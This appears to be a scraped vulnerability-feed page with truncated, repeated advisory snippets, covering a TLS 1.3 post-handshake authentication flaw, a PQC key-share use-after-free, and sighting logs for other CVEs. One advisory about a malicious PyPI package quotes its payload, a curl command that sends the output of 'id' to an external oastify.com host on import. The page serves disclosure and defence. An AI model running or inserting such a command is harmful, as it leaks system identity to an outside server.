CVE-2026-55962 TLS 1.3 post-handshake authentication: server accepts Finished without client Certificate/CertificateVerify

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

CVE-2026-55962 TLS 1.3 post-handshake authentication: server accepts Finished without client Certificate/CertificateVerify

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

CVE-2026-55962

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

CVE-2026-55962 TLS 1.3 post-handshake authentication: server accepts Finished without client Certificate/CertificateVerify

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

CVE-2026-55962

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

CVE-2026-55962

TLS 1.3 post-handshake authentication PHA issue where a server could accept a client's Finished message without the client having sent a Certificate and CertificateVerify. The post-handshake-auth exemption that allows an empty/absent peer certificate was only intended for the initial handshake, b...

Malicious code in mi-test-99-tuapellido (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...

CVE-2017-14883

creationtimestamp| type| source ---|---|--- 2026-06-25 21:07:07+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mp5djxwqji2a...

CVE-2017-14881

creationtimestamp| type| source ---|---|--- 2026-06-25 20:37:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mp5bucqyvb2k...

EUVD-2026-39554

Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 released in 5.9.1: a malicious TLS 1.3 server sending a truncated PQC hybrid KeyShare can still trigger the error cleanup path to operate on freed memory...

CVE-2026-7531

Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 released in 5.9.1: a malicious TLS 1.3 server sending a truncated PQC hybrid KeyShare can still trigger the error cleanup path to operate on freed memory...

CVE-2026-7531 Use-after-free in PQC hybrid key-share handling

Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 released in 5.9.1: a malicious TLS 1.3 server sending a truncated PQC hybrid KeyShare can still trigger the error cleanup path to operate on freed memory...

CVE-2026-7531

CVE-2026-7531 describes a use-after-free in the handling of PQC hybrid key-shares for TLS 1.3. The issue occurs when a malicious server sends a truncated PQC hybrid KeyShare, which can trigger the error cleanup path to operate on freed memory. Documents consistently label this as an incomplete fi...

CVE-2026-7531 Use-after-free in PQC hybrid key-share handling

Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 released in 5.9.1: a malicious TLS 1.3 server sending a truncated PQC hybrid KeyShare can still trigger the error cleanup path to operate on freed memory...

CVE-2026-7531

Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 released in 5.9.1: a malicious TLS 1.3 server sending a truncated PQC hybrid KeyShare can still trigger the error cleanup path to operate on freed memory...

CVE-2026-13351

creationtimestamp| type| source ---|---|--- 2026-06-25 19:53:38+00:00| seen| https://bsky.app/profile/postac001.bsky.social/post/3mp57gm3zje2u...

CVE-2026-12844

creationtimestamp| type| source ---|---|--- 2026-06-25 18:27:49+00:00| seen| https://bsky.app/profile/infosec.skyfleet.blue/post/3mp52n4nmt722...

CVE-2026-50573

creationtimestamp| type| source ---|---|--- 2026-06-25 18:05:29+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mp4zf7lyme2e 2026-06-29 22:58:44+00:00| seen| https://bsky.app/profile/kriptabiz.bsky.social/post/3mphlnaxtlt23...

CVE-2026-55698

creationtimestamp| type| source ---|---|--- 2026-06-25 17:57:07+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mp4ywb3qok2j 2026-06-27 00:35:04+00:00| published-proof-of-concept| https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp 2026-07-01 09:37:06+00:00| seen|...

CVE-2026-50014

creationtimestamp| type| source ---|---|--- 2026-06-25 17:50:33+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mp4ykirut22z 2026-06-27 00:35:34+00:00| published-proof-of-concept| https://github.com/pnpm/pnpm/security/advisories/GHSA-p4xf-rf54-rj3x 2026-06-29 23:00:44+00:00| seen|...